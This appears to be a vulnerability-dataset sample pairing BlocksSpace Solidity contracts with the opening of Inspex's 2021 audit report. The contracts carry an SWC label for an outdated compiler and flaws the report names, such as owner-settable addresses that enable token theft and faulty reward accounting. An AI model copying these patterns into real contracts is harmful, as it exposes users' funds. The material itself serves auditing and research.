newFee); event BlocksStakingContractUpdated(address add); event TreasuryWalletUpdated(address newWallet); event BlsRewardsForDistributionDeposited(uint256 amount); constructor(IERC20 blsAddress_, address blocksStakingAddress_, address treasury_) { blsToken = IERC20(blsAddress_); blocksStaking = BlocksStaking(blocksStakingAddress_); treasury = payable(treasury_); } function spacesLength() external view returns (uint256) { return spaceInfo.length; } function addSpace(address spaceContract_, uint256 blsPerBlockAreaPerBlock_) external onlyOwner { require(spaceIdMapping[spaceContract_] == 0, "Space is already added."); require(spaceInfo.length < 20, "Max spaces limit reached."); uint256 spaceId = spaceInfo.length; spaceIdMapping[spaceContract_] = spaceId + 1; // Only here numbering is not 0 indexed, because of check above SpaceInfo storage newSpace = spaceInfo.push(); newSpace.contractAddress = spaceContract_; newSpace.spaceId = spaceId; newSpace.blsPerBlockAreaPerBlock = blsPerBlockAreaPerBlock_; emit SpaceAdded(spaceId, spaceContract_, msg.sender); } function updateBlsPerBlockAreaPerBlock(uint256 spaceId_, uint256 newAmount_) external onlyOwner { SpaceInfo storage space = spaceInfo[spaceId_]; require(space.contractAddress != address(0), "SpaceInfo does not exist"); massUpdateSpaces(); uint256 oldSpaceBlsPerBlock = space.blsPerBlockAreaPerBlock * space.amountOfBlocksBought; uint256 newSpaceBlsPerBlock = newAmount_ * space.amountOfBlocksBought; blsPerBlock = blsPerBlock + newSpaceBlsPerBlock - oldSpaceBlsPerBlock; space.blsPerBlockAreaPerBlock = newAmount_; recalculateLastRewardBlock(); emit BlsPerBlockAreaPerBlockUpdated(spaceId_, newAmount_); } function pendingBlsTokens(uint256 spaceId_, address user_) public view returns (uint256) { SpaceInfo storage space = spaceInfo[spaceId_]; UserInfo storage user = userInfo[spaceId_][user_]; uint256 rewards; if (user.amount > 0 && space.blsRewardsAccLastUpdated < block.number) { uint256 multiplier = getMultiplier(space.blsRewardsAccLastUpdated); uint256 blsRewards = multiplier * space.blsPerBlockAreaPerBlock; rewards = user.amount * blsRewards; } return user.amount * space.blsRewardsAcc + rewards + user.pendingRewards - user.rewardsDebt; } function getMultiplier(uint256 lastRewardCalcBlock) internal view returns (uint256) { if (block.number > blsLastRewardsBlock) { if(blsLastRewardsBlock >= lastRewardCalcBlock){ return blsLastRewardsBlock - lastRewardCalcBlock; }else{ return 0; } } else { return block.number - lastRewardCalcBlock; } } function massUpdateSpaces() public { uint256 length = spaceInfo.length; for (uint256 spaceId = 0; spaceId < length; ++spaceId) { updateSpace(spaceId); } updateManagerState(); } function updateManagerState() internal { blsSpacesRewardsDebt = blsSpacesRewardsDebt + getMultiplier(blsSpacesDebtLastUpdatedBlock) * blsPerBlock; blsSpacesDebtLastUpdatedBlock = block.number; } function updateSpace(uint256 spaceId_) internal { // If space was not yet updated, update rewards accumulated SpaceInfo storage space = spaceInfo[spaceId_]; if (block.number <= space.blsRewardsAccLastUpdated) { return; } if (space.amountOfBlocksBought == 0) { space.blsRewardsAccLastUpdated = block.number; return; } if (block.number > space.blsRewardsAccLastUpdated) { uint256 multiplierSpace = getMultiplier(space.blsRewardsAccLastUpdated); space.blsRewardsAcc = space.blsRewardsAcc + multiplierSpace * space.blsPerBlockAreaPerBlock; space.blsRewardsAccLastUpdated = block.number; } } function blocksAreaBoughtOnSpace( address buyer_, address[] calldata previousBlockOwners_, uint256[] calldata previousOwnersPrices_ ) external payable { // Here calling contract should be space and noone else uint256 spaceId_ = spaceIdMapping[msg.sender]; require(spaceId_ > 0, "Call not from BlocksSpace"); spaceId_ = spaceId_ - 1; // because this is now index updateSpace(spaceId_); SpaceInfo storage space = spaceInfo[spaceId_]; UserInfo storage user = userInfo[spaceId_][buyer_]; uint256 spaceBlsRewardsAcc = space.blsRewardsAcc; // If user already had some block.areas then calculate all rewards pending if (user.amount > 0) { user.pendingRewards = pendingBlsTokens(spaceId_, buyer_); } uint256 numberOfBlocksAddedToSpace; uint256 allPreviousOwnersPaid; { // Stack too deep scoping //remove blocks from previous owners that this guy took over. Max 42 loops uint256 numberOfBlocksBought = previousBlockOwners_.length; uint256 numberOfBlocksToRemove; for (uint256 i = 0; i < numberOfBlocksBought; ++i) { // If previous owners of block are non zero address, means we need to take block from them if (previousBlockOwners_[i] != address(0)) { allPreviousOwnersPaid = allPreviousOwnersPaid + previousOwnersPrices_[i]; // Calculate previous users pending BLS rewards UserInfo storage prevUser = userInfo[spaceId_][previousBlockOwners_[i]]; prevUser.pendingRewards = pendingBlsTokens(spaceId_, previousBlockOwners_[i]); // Remove his ownership of block --prevUser.amount; prevUser.rewardsDebt = prevUser.amount * spaceBlsRewardsAcc; ++numberOfBlocksToRemove; } } numberOfBlocksAddedToSpace = numberOfBlocksBought - numberOfBlocksToRemove; // Set user data user.amount = user.amount + numberOfBlocksBought; user.rewardsDebt = user.amount * spaceBlsRewardsAcc; // Reset debt, because at top we gave him rewards already } // If amount of blocks on space changed, we need to update space and global state if (numberOfBlocksAddedToSpace > 0) { updateManagerState(); blsPerBlock = blsPerBlock + space.blsPerBlockAreaPerBlock * numberOfBlocksAddedToSpace; space.amountOfBlocksBought = space.amountOfBlocksBought + numberOfBlocksAddedToSpace; // Recalculate what is last block eligible for BLS rewards recalculateLastRewardBlock(); } // Calculate and subtract fees in first part // In second part, calculate how much rewards are being rewarded to previous block owners (uint256 rewardToForward, uint256[] memory prevOwnersRewards) = calculateAndDistributeFees( msg.value, previousOwnersPrices_, allPreviousOwnersPaid ); // Send to distribution part blocksStaking.distributeRewards{value: rewardToForward}(previousBlockOwners_, prevOwnersRewards); } function calculateAndDistributeFees( uint256 rewardReceived_, uint256[] calldata previousOwnersPrices_, uint256 previousOwnersPaid_ ) internal returns (uint256, uint256[] memory) { uint256 numberOfBlocks = previousOwnersPrices_.length; uint256 feesTaken; uint256 previousOwnersFeeValue; uint256[] memory previousOwnersRewardWei = new uint256[](numberOfBlocks); if (previousOwnerFee > 0 && previousOwnersPaid_ != 0) { previousOwnersFeeValue = (rewardReceived_ * previousOwnerFee) / 100; // Calculate how much is for example 25% of whole rewards gathered uint256 onePartForPreviousOwners = (previousOwnersFeeValue * 1e9) / previousOwnersPaid_; // Then calculate one part for previous owners sum for (uint256 i = 0; i < numberOfBlocks; ++i) { // Now we calculate exactly how much one user gets depending on his investment (it needs to be proportionally) previousOwnersRewardWei[i] = (onePartForPreviousOwners * previousOwnersPrices_[i]) / 1e9; } } // Can be max 5% if (treasuryFee > 0) { uint256 treasuryFeeValue = (rewardReceived_ * treasuryFee) / 100; if (treasuryFeeValue > 0) { feesTaken = feesTaken + treasuryFeeValue; } } // Can be max 10% if (liquidityFee > 0) { uint256 liquidityFeeValue = (rewardReceived_ * liquidityFee) / 100; if (liquidityFeeValue > 0) { feesTaken = feesTaken + liquidityFeeValue; } } // Send fees to treasury. Max together 15%. We use call, because it enables auto liqudity provisioning on DEX in future when token is trading if (feesTaken > 0) { (bool sent,) = treasury.call{value: feesTaken}(""); require(sent, "Failed to send moneyz"); } return (rewardReceived_ - feesTaken, previousOwnersRewardWei); } function claim(uint256 spaceId_) external { updateSpace(spaceId_); UserInfo storage user = userInfo[spaceId_][msg.sender]; uint256 toClaimAmount = pendingBlsTokens(spaceId_, msg.sender); if (toClaimAmount > 0) { uint256 claimedAmount = safeBlsTransfer(msg.sender, toClaimAmount); emit Claim(msg.sender, claimedAmount); // This is also kinda check, since if user claims more than eligible, this will revert user.pendingRewards = toClaimAmount - claimedAmount; user.rewardsDebt = spaceInfo[spaceId_].blsRewardsAcc * user.amount; blsSpacesRewardsClaimed = blsSpacesRewardsClaimed + claimedAmount; // Globally claimed rewards, for proper end distribution calc } } // Safe BLS transfer function, just in case if rounding error causes pool to not have enough BLSs. function safeBlsTransfer(address to_, uint256 amount_) internal returns (uint256) { uint256 blsBalance = blsToken.balanceOf(address(this)); if (amount_ > blsBalance) { blsToken.transfer(to_, blsBalance); return blsBalance; } else { blsToken.transfer(to_, amount_); return amount_; } } function setTreasuryFee(uint256 newFee_) external onlyOwner { require(newFee_ <= MAX_TREASURY_FEE); treasuryFee = newFee_; emit TreasuryFeeSet(newFee_); } function setLiquidityFee(uint256 newFee_) external onlyOwner { require(newFee_ <= MAX_LIQUIDITY_FEE); liquidityFee = newFee_; emit LiquidityFeeSet(newFee_); } function setPreviousOwnerFee(uint256 newFee_) external onlyOwner { require(newFee_ <= MAX_PREVIOUS_OWNER_FEE); previousOwnerFee = newFee_; emit PreviousOwnerFeeSet(newFee_); } function updateBlocksStakingContract(address address_) external onlyOwner { blocksStaking = BlocksStaking(address_); emit BlocksStakingContractUpdated(address_); } function updateTreasuryWallet(address newWallet_) external onlyOwner { treasury = payable(newWallet_); emit TreasuryWalletUpdated(newWallet_); } function depositBlsRewardsForDistribution(uint256 amount_) external onlyOwner { blsToken.transferFrom(address(msg.sender), address(this), amount_); massUpdateSpaces(); recalculateLastRewardBlock(); emit BlsRewardsForDistributionDeposited(amount_); } function recalculateLastRewardBlock() internal { uint256 blsBalance = blsToken.balanceOf(address(this)); if (blsBalance + blsSpacesRewardsClaimed >= blsSpacesRewardsDebt && blsPerBlock > 0) { uint256 blocksTillBlsRunOut = (blsBalance + blsSpacesRewardsClaimed - blsSpacesRewardsDebt) / blsPerBlock; blsLastRewardsBlock = block.number + blocksTillBlsRunOut; } } }// SWC-Outdated Compiler Version: L2 pragma solidity 0.8.5; //SPDX-License-Identifier: MIT import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract BLSToken is ERC20 { uint maxSupply = 42000000 ether; // 42 million max tokens constructor() ERC20("BlocksSpace Token", "BLS") { _mint(_msgSender(), maxSupply); } function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } }pragma solidity 0.8.5; //SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./BLSToken.sol"; /** * @dev This contract implements the logic for staking BLS amount. It * also handles BNB rewards distribution to users for their blocks taken * over (that got covered) and rewards for staked BLS amount. */ contract BlocksStaking is Ownable { using SafeERC20 for BLSToken; // Object with information for a user struct UserInfo { uint256 amount; // Amount of amount being staked uint256 rewardDebt; uint256 takeoverReward; // Reward for covered blocks } uint256 constant BURN_PERCENT_WITHDRAWAL = 1; // Withdrawals burning 1% of your tokens. Deflationary, adding value uint256 public rewardsDistributionPeriod = 24 days / 3; // How long are we distributing incoming rewards // Global staking variables uint256 public totalTokens; // Total amount of amount currently staked uint256 public rewardsPerBlock; // Multiplied by 1e12 for better division precision uint256 public rewardsFinishedBlock; // When will rewards distribution end uint256 public accRewardsPerShare; // Accumulated rewards per share uint256 public lastRewardCalculatedBlock; // Last time we calculated accumulation of rewards per share uint256 public allUsersRewardDebt; // Helper to keep track of proper account balance for distribution uint256 public takeoverRewards; // Helper to keep track of proper account balance for distribution // Mapping of UserInfo object to a wallet mapping(address => UserInfo) public userInfo; // The BLS token contract BLSToken private blsToken; // Event that is triggered when a user claims his rewards event Claim(address indexed user, uint256 reward); event Withdraw(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event Deposit(address indexed user, uint256 amount); event RewardDistributionPeriodSet(uint256 period); /** * @dev Provides addresses for BLS token contract */ constructor(BLSToken blsTokenAddress_) { blsToken = BLSToken(blsTokenAddress_); } function setRewardDistributionPeriod(uint256 period_) external onlyOwner { rewardsDistributionPeriod = period_; emit RewardDistributionPeriodSet(period_); } // View function to see pending BLSs on frontend. function pendingRewards(address user_) public view returns (uint256) { UserInfo storage user = userInfo[user_]; uint256 tempAccRewardsPerShare = accRewardsPerShare; if (user.amount > 0) { tempAccRewardsPerShare = tempAccRewardsPerShare + (rewardsPerBlock * getMultiplier()) / totalTokens; } return ((tempAccRewardsPerShare * user.amount) / 1e12) + user.takeoverReward - user.rewardDebt; } // View function for showing rewards counter on frontend. Its multiplied by 1e12 function rewardsPerBlockPerToken() external view returns(uint256) { if (block.number > rewardsFinishedBlock || totalTokens <= 0) { return 0; } else { return rewardsPerBlock / totalTokens; } } function getMultiplier() internal view returns (uint256) { if (block.number > rewardsFinishedBlock) { if(rewardsFinishedBlock >= lastRewardCalculatedBlock){ return rewardsFinishedBlock - lastRewardCalculatedBlock; }else{ return 0; } }else{ return block.number - lastRewardCalculatedBlock; } } function updateState() internal { if(totalTokens > 0){ accRewardsPerShare = accRewardsPerShare + (rewardsPerBlock * getMultiplier()) / totalTokens; } lastRewardCalculatedBlock = block.number; } /** * @dev The user deposits BLS amount for staking. */ function deposit(uint256 amount_) external { UserInfo storage user = userInfo[msg.sender]; // if there are staked amount, fully harvest current reward if (user.amount > 0) { claim(); } if (totalTokens > 0) { updateState(); } else { calculateRewardsDistribution(); // Means first time any user deposits, so start distributing lastRewardCalculatedBlock = block.number; } totalTokens = totalTokens + amount_; // sum of total staked amount uint256 userRewardDebtBefore = user.rewardDebt; user.amount = user.amount + amount_; // cache staked amount count for this wallet user.rewardDebt = (accRewardsPerShare * user.amount) / 1e12; // cache current total reward per token allUsersRewardDebt = allUsersRewardDebt + user.rewardDebt - userRewardDebtBefore; emit Deposit(msg.sender, amount_); // Transfer BLS amount from the user to this contract blsToken.safeTransferFrom(address(msg.sender), address(this), amount_); } /** * @dev The user withdraws staked BLS amount and claims the rewards. */ function withdraw() external { UserInfo storage user = userInfo[msg.sender]; uint256 amount = user.amount; require(amount > 0, "No amount deposited for withdrawal."); // Claim any available rewards claim(); totalTokens = totalTokens - amount; // If after withdraw, there is noone else staking and there are still rewards to be distributed, then reset rewards debt if(totalTokens == 0 && rewardsFinishedBlock > block.number){ allUsersRewardDebt = 0; }else{ // Deduct whatever was added when it was claimed allUsersRewardDebt = allUsersRewardDebt - user.rewardDebt; } user.amount = 0; user.rewardDebt = 0; uint256 burnAmount = amount * BURN_PERCENT_WITHDRAWAL / 100; blsToken.burn(burnAmount); // Transfer BLS amount from this contract to the user uint256 amountWithdrawn = safeBlsTransfer(address(msg.sender), amount - burnAmount); emit Withdraw(msg.sender, amountWithdrawn); } /** * @dev The user just withdraws staked BLS amount and leaves any rewards. */ function emergencyWithdraw() public { UserInfo storage user = userInfo[msg.sender]; uint256 amount = user.amount; totalTokens = totalTokens - amount; allUsersRewardDebt = allUsersRewardDebt - user.rewardDebt; user.amount = 0; user.rewardDebt = 0; user.takeoverReward = 0; uint256 burnAmount = amount * BURN_PERCENT_WITHDRAWAL / 100; blsToken.burn(burnAmount); // Transfer BLS amount from this contract to the user uint256 amountWithdrawn = safeBlsTransfer(address(msg.sender), amount - burnAmount); emit EmergencyWithdraw(msg.sender, amountWithdrawn); } /** * @dev Claim rewards from staking and covered blocks. */ function claim() public { // Update contract state updateState(); uint256 reward = pendingRewards(msg.sender); if (reward <= 0) return; // skip if no rewards UserInfo storage user = userInfo[msg.sender]; takeoverRewards = takeoverRewards - user.takeoverReward; user.rewardDebt = (accRewardsPerShare * user.amount) / 1e12; // reset: cache current total reward per token allUsersRewardDebt = allUsersRewardDebt + reward - user.takeoverReward; user.takeoverReward = 0; // reset takeover reward // transfer reward in BNBs to the user (bool success, ) = msg.sender.call{value: reward}(""); require(success, "Transfer failed."); emit Claim(msg.sender, reward); } /** * @dev Distribute rewards for covered blocks, what remains goes for staked amount. */ function distributeRewards(address[] calldata addresses_, uint256[] calldata rewards_) external payable { uint256 tmpTakeoverRewards; for (uint256 i = 0; i < addresses_.length; ++i) { // process each reward for covered blocks userInfo[addresses_[i]].takeoverReward = userInfo[addresses_[i]].takeoverReward + rewards_[i]; // each user that got blocks covered gets a reward tmpTakeoverRewards = tmpTakeoverRewards + rewards_[i]; } takeoverRewards = takeoverRewards + tmpTakeoverRewards; // what remains is the reward for staked amount if (msg.value - tmpTakeoverRewards > 0 && totalTokens > 0) { // Update rewards per share because balance changes updateState(); calculateRewardsDistribution(); } } function calculateRewardsDistribution() internal { uint256 allReservedRewards = (accRewardsPerShare * totalTokens) / 1e12; uint256 availableForDistribution = (address(this).balance + allUsersRewardDebt - allReservedRewards - takeoverRewards); rewardsPerBlock = (availableForDistribution * 1e12) / rewardsDistributionPeriod; rewardsFinishedBlock = block.number + rewardsDistributionPeriod; } /** * @dev Safe BLS transfer function in case of a rounding error. If not enough amount in the contract, trensfer all of them. */ function safeBlsTransfer(address to_, uint256 amount_) internal returns (uint256) { uint256 blsBalance = blsToken.balanceOf(address(this)); if (amount_ > blsBalance) { blsToken.transfer(to_, blsBalance); return blsBalance; } else { blsToken.transfer(to_, amount_); return amount_; } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.5; import "@openzeppelin/contracts/access/AccessControl.sol"; /** * @dev Contract module which acts as a timelocked controller. When set as the * owner of an `Ownable` smart contract, it enforces a timelock on all * `onlyOwner` maintenance operations. This gives time for users of the * controlled contract to exit before a potentially dangerous maintenance * operation is applied. * * By default, this contract is self administered, meaning administration tasks * have to go through the timelock process. The proposer (resp executor) role * is in charge of proposing (resp executing) operations. A common use case is * to position this {TimelockController} as the owner of a smart contract, with * a multisig or a DAO as the sole proposer. * * _Available since v3.3._ */ contract TimelockController is AccessControl { bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE"); bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE"); bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE"); uint256 internal constant _DONE_TIMESTAMP = uint256(1); mapping(bytes32 => uint256) private _timestamps; uint256 private _minDelay; /** * @dev Emitted when a call is scheduled as part of operation `id`. */ event CallScheduled(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data, bytes32 predecessor, uint256 delay); /** * @dev Emitted when a call is performed as part of operation `id`. */ event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data); /** * @dev Emitted when operation `id` is cancelled. */ event Cancelled(bytes32 indexed id); /** * @dev Emitted when the minimum delay for future operations is modified. */ event MinDelayChange(uint256 oldDuration, uint256 newDuration); /** * @dev Initializes the contract with a given `minDelay`. */ constructor(uint256 minDelay, address[] memory proposers, address[] memory executors) { _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE); // deployer + self administration _setupRole(TIMELOCK_ADMIN_ROLE, _msgSender()); _setupRole(TIMELOCK_ADMIN_ROLE, address(this)); // register proposers for (uint256 i = 0; i < proposers.length; ++i) { _setupRole(PROPOSER_ROLE, proposers[i]); } // register executors for (uint256 i = 0; i < executors.length; ++i) { _setupRole(EXECUTOR_ROLE, executors[i]); } _minDelay = minDelay; emit MinDelayChange(0, minDelay); } /** * @dev Modifier to make a function callable only by a certain role. In * addition to checking the sender's role, `address(0)` 's role is also * considered. Granting a role to `address(0)` is equivalent to enabling * this role for everyone. */ modifier onlyRole(bytes32 role) { require(hasRole(role, _msgSender()) || hasRole(role, address(0)), "TimelockController: sender requires permission"); _; } /** * @dev Contract might receive/hold ETH as part of the maintenance process. */ receive() external payable {} /** * @dev Returns whether an id correspond to a registered operation. This * includes both Pending, Ready and Done operations. */ function isOperation(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > 0; } /** * @dev Returns whether an operation is pending or not. */ function isOperationPending(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > _DONE_TIMESTAMP; } /** * @dev Returns whether an operation is ready or not. */ function isOperationReady(bytes32 id) public view virtual returns (bool ready) { uint256 timestamp = getTimestamp(id); // solhint-disable-next-line not-rely-on-time return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp; } /** * @dev Returns whether an operation is done or not. */ function isOperationDone(bytes32 id) public view virtual returns (bool done) { return getTimestamp(id) == _DONE_TIMESTAMP; } /** * @dev Returns the timestamp at with an operation becomes ready (0 for * unset operations, 1 for done operations). */ function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) { return _timestamps[id]; } /** * @dev Returns the minimum delay for an operation to become valid. * * This value can be changed by executing an operation that calls `updateDelay`. */ function getMinDelay() public view virtual returns (uint256 duration) { return _minDelay; } /** * @dev Returns the identifier of an operation containing a single * transaction. */ function hashOperation(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(target, value, data, predecessor, salt)); } /** * @dev Returns the identifier of an operation containing a batch of * transactions. */ function hashOperationBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(targets, values, datas, predecessor, salt)); } /** * @dev Schedule an operation containing a single transaction. * * Emits a {CallScheduled} event. * * Requirements: * * - the caller must have the 'proposer' role. */ function schedule(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _schedule(id, delay); emit CallScheduled(id, 0, target, value, data, predecessor, delay); } /** * @dev Schedule an operation containing a batch of transactions. * * Emits one {CallScheduled} event per transaction in the batch. * * Requirements: * * - the caller must have the 'proposer' role. */ function scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _schedule(id, delay); for (uint256 i = 0; i < targets.length; ++i) { emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay); } } /** * @dev Schedule an operation that is to becomes valid after a given delay. */ function _schedule(bytes32 id, uint256 delay) private { require(!isOperation(id), "TimelockController: operation already scheduled"); require(delay >= getMinDelay(), "TimelockController: insufficient delay"); // solhint-disable-next-line not-rely-on-time _timestamps[id] = block.timestamp + delay; } /** * @dev Cancel an operation. * * Requirements: * * - the caller must have the 'proposer' role. */ function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) { require(isOperationPending(id), "TimelockController: operation cannot be cancelled"); delete _timestamps[id]; emit Cancelled(id); } /** * @dev Execute an (ready) operation containing a single transaction. * * Emits a {CallExecuted} event. * * Requirements: * * - the caller must have the 'executor' role. */ function execute(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public payable virtual onlyRole(EXECUTOR_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _beforeCall(predecessor); _call(id, 0, target, value, data); _afterCall(id); } /** * @dev Execute an (ready) operation containing a batch of transactions. * * Emits one {CallExecuted} event per transaction in the batch. * * Requirements: * * - the caller must have the 'executor' role. */ function executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public payable virtual onlyRole(EXECUTOR_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _beforeCall(predecessor); for (uint256 i = 0; i < targets.length; ++i) { _call(id, i, targets[i], values[i], datas[i]); } _afterCall(id); } /** * @dev Checks before execution of an operation's calls. */ function _beforeCall(bytes32 predecessor) private view { require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency"); } /** * @dev Checks after execution of an operation's calls. */ function _afterCall(bytes32 id) private { require(isOperationReady(id), "TimelockController: operation is not ready"); _timestamps[id] = _DONE_TIMESTAMP; } /** * @dev Execute an operation's call. * * Emits a {CallExecuted} event. */ function _call(bytes32 id, uint256 index, address target, uint256 value, bytes calldata data) private { // solhint-disable-next-line avoid-low-level-calls (bool success,) = target.call{value: value}(data); require(success, "TimelockController: underlying transaction reverted"); emit CallExecuted(id, index, target, value, data); } /** * @dev Changes the minimum timelock duration for future operations. * * Emits a {MinDelayChange} event. * * Requirements: * * - the caller must be the timelock itself. This can only be achieved by scheduling and later executing * an operation where the timelock is the target and the data is the ABI-encoded call to this function. */ function updateDelay(uint256 newDelay) external virtual { require(msg.sender == address(this), "TimelockController: caller must be timelock"); emit MinDelayChange(_minDelay, newDelay); _minDelay = newDelay; } }
BlocksSpace Smart Contract Audit Report Prepared for 1000Blocks __________________________________ Date Issued: Sep 17, 2021 Project ID: AUDIT2021012 Version: v3.0 Confidentiality Level: Public Public ________ Report Information Project ID AUDIT2021012 Version v3.0 Client 1000Blocks Project BlocksSpace Auditor(s) Weerawat Pawanawiwat Suvicha Buakhom Patipon Suwanbol Peeraphut Punsuwan Author Weerawat Pawanawiwat Reviewer Pongsakorn Sommalai Confidentiality Level Public Version History Version Date Description Author(s) 3.0 Sep 17, 2021 Update issues’ statuses Patipon Suwanbol 2.0 Aug 25, 2021 Update executive summary Weerawat Pawanawiwat 1.0 Aug 23, 2021 Full report Weerawat Pawanawiwat Contact Information Company Inspex Phone (+66) 90 888 7186 Telegram t.me/inspexco Email audit@inspex.co Public ________ Table of Contents 1. Executive Summary 1 1.1. Audit Result 1 1.2. Disclaimer 1 2. Project Overview 3 2.1. Project Introduction 3 2.2. Scope 4 3. Methodology 5 3.1. Test Categories 5 3.2. Audit Items 6 3.3. Risk Rating 7 4. Summary of Findings 8 5. Detailed Findings Information 10 5.1. Arbitrary Share Amount Setting 10 5.2. Incorrect Reward Calculation from takeoverRewards 14 5.3. Incorrect Reward Calculation from allUsersRewardDebt 17 5.4. Incorrect Reward Calculation from Total Rewards Rate 21 5.5. Token Stealing via BlocksRewardsManager Address Setting 26 5.6. Token Stealing via BlocksStaking Address Setting 29 5.7. Centralized Control of State Variable 33 5.8. Incorrect Condition 35 5.9. Incorrect Reward Calculation from blsPerBlockAreaPerBlock 38 5.10. Insufficient Logging for Privileged Functions 41 5.11. Outdated Compiler Version 43 5.12. Improper Function Visibility 44 5.13. Inexplicit Solidity Compiler Version 46 6. Appendix 47 6.1. About Inspex 47 6.2. References 48 Public ________ 1. Executive Summary As requested by 1000Blocks, Inspex team conducted an audit to verify the security posture of the BlocksSpace smart contracts between Aug 10, 2021 and Aug 11, 2021. During the audit, Inspex team examined all smart contracts and the overall operation within the scope to understand the overview of BlocksSpace smart contracts. Static code analysis, dynamic analysis, and manual review were done in conjunction to identify smart contract vulnerabilities together with technical & business logic flaws that may be exposed to the potential risk of the platform and the ecosystem. Practical recommendations are provided according to each vulnerability found and should be followed to remediate the issue. Major parts of the BlocksSpace smart contracts are custom-made, written by the 1000Blocks team, and some parts adapted the traditional MasterChef design to extend the functionalities for the rewards distribution. Since the design is newly implemented and not from the old designs heavily used or tested in multiple platforms, most issues found are related to the reward distribution mechanism, causing the rewards to be inaccurately calculated. Designing new usabilities for smart contracts is great for the blockchain ecosystem, opening it up for more applications and adaptations in the future. We hope that this audit can leverage the security level of the BlocksSpace smart contracts without compromising on the creativity and business usability of the platform. 1.1. Audit Result In the initial audit, Inspex found 4 high, 4 medium, 1 low, 1 very low, and 3 info-severity issues. With the project team’s prompt response, 4 high, 4 medium, 1 low, 1 very low, and 1 info-severity issues were resolved or mitigated in the reassessment, while 2 info-severity issues were acknowledged by the team. Therefore, Inspex trusts that BlocksSpace smart contracts have sufficient protections to be safe for public use. 1.2. Disclaimer This security audit is not produced to supplant any other type of assessment and does not guarantee the discovery of all security vulnerabilities within the scope of the assessment. However, we warrant that this audit is conducted with goodwill, professional approach, and competence. Since an assessment from one Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 1 Public ________ single party cannot be confirmed to cover all possible issues within the smart contract(s), Inspex suggests conducting multiple independent assessments to minimize the risks. Lastly, nothing contained in this audit report should be considered as investment advice. Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 2 Public ________ 2. Project Overview 2.1. Project Introduction 1000Blocks Space is a project where users create community-powered NFTs that yield returns in the process of NFT creation to make digital art creation fun and rewarding. BlocksSpace is the core decentralized application of 1000Blocks that allows users to own block areas in the available spaces. The users can put images in their own areas, and other users can pay a higher price to take over the occupied block areas. The owner of the block areas can gain $BLS tokens as rewards, and $BLS tokens can also be used to stake for gaining $BNB that is collected from the block area costs. Scope Information: Project Name BlocksSpace Website https://app.1000blocks.space/spaces Smart Contract Type Ethereum Smart Contract Chain Binance Smart Chain Programming Language Solidity Audit Information: Audit Method Whitebox Audit Date Aug 10, 2021 - Aug 11, 2021 Reassessment Date Aug 20, 2021 The audit method can be categorized into two types depending on the assessment targets provided: 1. Whitebox : The complete source code of the smart contracts are provided for the assessment. 2. Blackbox : Only the bytecodes of the smart contracts are provided for the assessment. Inspex Smart Contract Audit Report: AUDIT2021012 (v3.0) 3 Public ________ 2.2. Scope The following smart contracts were audited and reassessed by Inspex in detail: Initial Audit: (Commit: 51efffaa45e95db5e28c5d550d351b84a03d098f) Contract Location (URL) BLSToken https://github.com/1000Blocks-space/smart-contracts/blob/51efffaa45/hardha t/contracts/BLSToken.sol BlocksRewardsManager https://github.com/1000Blocks-space/smart-contracts/blob/51efffaa45/hardha t/contracts/BlocksRewardsManager.sol BlocksSpace https://github.com/1000Blocks-space/smart-contracts/blob/51efffaa45/hardha t/contracts/BlocksSpace.sol BlocksStaking https://github.com/1000Blocks-space/smart-contracts/blob/51efffaa45/hardha t/contracts/BlocksStaking.sol Reassessment: (Commit: 8311a0436dba5f168fe830bd84ffc2832f8a1b38) Contract Location (URL) BLSToken https://github.com/1000Blocks-space/smart-contracts/blob/8311a0436d/hard hat/contracts/BLSToken.sol BlocksRewardsManager https://github.com/1000Blocks-space/smart-contracts/blob/8311a0436d/hard hat/contracts/BlocksRewardsManager.sol BlocksSpace https://github.com/1000Blocks-space/smart-contracts/blob/8311a0436d/hard hat/contracts/BlocksSpace.sol BlocksStaking https://github.com/1000Blocks-space/smart-contracts/blob/8311a0436d/hard 